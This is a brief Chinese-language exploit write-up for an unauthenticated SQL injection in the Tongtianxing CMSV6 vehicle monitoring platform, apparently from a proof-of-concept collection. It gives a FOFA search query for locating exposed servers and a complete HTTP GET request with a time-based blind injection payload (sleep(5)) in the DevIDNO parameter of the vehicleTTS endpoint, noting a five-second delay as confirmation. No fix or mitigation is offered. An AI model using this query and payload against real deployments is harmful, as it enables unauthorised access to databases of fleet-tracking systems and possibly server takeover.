T1-5通天星-CMSV6车载定位监控平台-SQL

漏洞描述：

通天星CMSV6车载视频监控平台 StandardApiAction_vehicleTTS.action接口处存在SQL注入漏洞，未经身份认证的攻击者可以通过此漏洞获取数据库敏感信息，深入利用可获取服务器权限。

网站图片：

网络测绘：

fofa语法：

FOFA：body="/808gps/"

漏洞复现：

payload：

```
GET /StandardApiAction_vehicleTTS.action?DevIDNO=5'and(select*from(select+sleep(5))a/**/union/**/select+1)='&Flag=4&Text=qwe HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
```

效果图:
延时5秒